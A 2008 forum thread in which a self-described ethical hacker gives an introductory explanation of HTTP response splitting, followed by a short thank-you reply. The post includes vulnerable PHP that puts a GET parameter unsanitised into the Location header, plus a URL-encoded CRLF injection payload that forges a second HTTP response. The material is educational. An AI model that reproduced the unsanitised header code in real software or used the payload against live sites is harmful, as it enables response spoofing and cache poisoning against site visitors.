Webmaster Forum

Go Back   Webmaster Forum > The Webmaster Forums > Tech Support Forum

Tech Support Forum Discuss computer issues, tech gadgets and hardware, operating systems, browsers, broadband and wireless, virus, trojan, and spyware help.


Reply
 
LinkBack Thread Tools Display Modes
Old 12-11-2008, 04:15 PM   #1 (permalink)
Contributing Member
 
Join Date: 12-11-08
Posts: 62
iTrader: 0 / 0%
Latest Blog:
None

Bart is liked by somebodyBart is liked by somebodyBart is liked by somebody
HTTP Response Splitting

Hey everyone, I'm a hacker, ethical hacker that is. I am into WebApp Secutity. I thought I'd share an article from my blog. I hope to share weekly or bi weekly if you guys like it. Let me know if I should simplify. I tried to put it in code tags but the box is too small hence too hard to read.


Note: This is just an introductory to the HTTP Response Splitting Vulnerability.

HTTP response splitting is relatively new web application vulnerability resulting from the failure of a
web application or its development environment to properly sanitize input. These HTTP response
splitting attacks (here forward known as HRS attacks) are generally found when a malicious user injects
unexpected characters which are then used to form a 302 Redirect usually in the ‘Location' or ‘Set-
Cookie' header. Basic HRS attacks take place by injecting the CR (carriage return) and LF (line feed)
sequence, normally shown as "\r\n." Let's drive right in and look at the following PHP code to set the
Location header.


<?
header("Location: .$_GET[‘redirectpage']");
?>


So by visiting the URL "http://www.loopback.biz?redirectpage=http://www.loopback.biz" you get the
following 302 response from the server to the user.

HTTP/1.1 302 Found\r\n
Date: Tue, 12 Apr 2005 21:00:28 GMT\r\n
Server: Apache/1.3.29 (Unix) mod_ssl/2.8.16 OpenSSL/0.9.7c\r\n
Location: http://www.loopback.biz\r\n <Note: This is the value of the redirectpage GET request>
Keep-Alive: timeout=15, max=100\r\n
Connection: Keep-Alive\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/html\r\n
\r\n

As noted the redirectpage GET parameter is embedded in the Location response header. This is the
basis of the HRS attack, by changing the value of redirectpage we accomplish an attack. This is done by
first terminating the current response then shaping an additional response. Terminating the response is
done by injecting the CRLF sequence. This is how it might be accomplished.

?redirectpage=anything%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html> Hacked </html>

As a result the output sent by the webserver might look like.
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://loopback.biz/?redirectpage=anything
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Hacked</html>

Followed by a bunch of garbage.

This is the explanation of what is going on.
1. A first HTTP response, which is a 302 (redirection) response.
2. A second HTTP response, which is a 200 response, with a content comprising
of 19 bytes of HTML.
3. The bunch of garbage-everything beyond the end of the second response-
does not conform to the HTTP standard.

So hence when the malicious user splits the response the sends two requests the first to the URL:

/?redirectpage=anything%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Hacked</html>

And the second to the URL

/index.html

The target would believe that the first request is matched to the first response:
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://loopback.biz/?redirectpage=anything
Content-Length: 0

And that the second request (to /index.html) is matched to the second response:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>Hacked</html>

And by this, the attacker manages to fool the target.
Bart is offline  
Add Post to del.icio.us
Reply With Quote
Old 12-11-2008, 08:13 PM   #2 (permalink)
The McLickerator
 
3ncryptabl3_lick's Avatar
 
Join Date: 05-31-04
Location: Where do any of us *really* live, I ask you?
Posts: 5,143
iTrader: 6 / 100%
Latest Blog:
Nvidia ION Contest

3ncryptabl3_lick is a web professional of the highest order3ncryptabl3_lick is a web professional of the highest order3ncryptabl3_lick is a web professional of the highest order3ncryptabl3_lick is a web professional of the highest order3ncryptabl3_lick is a web professional of the highest order3ncryptabl3_lick is a web professional of the highest order3ncryptabl3_lick is a web professional of the highest order3ncryptabl3_lick is a web professional of the highest order3ncryptabl3_lick is a web professional of the highest order3ncryptabl3_lick is a web professional of the highest order3ncryptabl3_lick is a web professional of the highest order
Wow, Bart. That's a helluva share! Thanks for posting this (:
3ncryptabl3_lick is online now  
Add Post to del.icio.us
Reply With Quote
Go Back   Webmaster Forum > The Webmaster Forums > Tech Support Forum

Reply


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Splitting content in multiple pages DirLite Coding Forum 1 11-03-2008 03:55 AM
Splitting background image cmg433 Coding Forum 6 07-18-2008 07:33 PM
301, Bad HTTP response code - help. roamingk Web Hosting Forum 3 11-30-2006 02:17 AM


Sponsor Links
Get exposure! Contextual Links V7N SEO Blog V7N Directory


All times are GMT -7. The time now is 08:12 PM.
© Copyright 2008 V7 Inc
Powered by vBulletin
Copyright © 2000-2009 Jelsoft Enterprises Limited.


Search Engine Optimization by vBSEO 3.3.0 ©2009, Crawlability, Inc.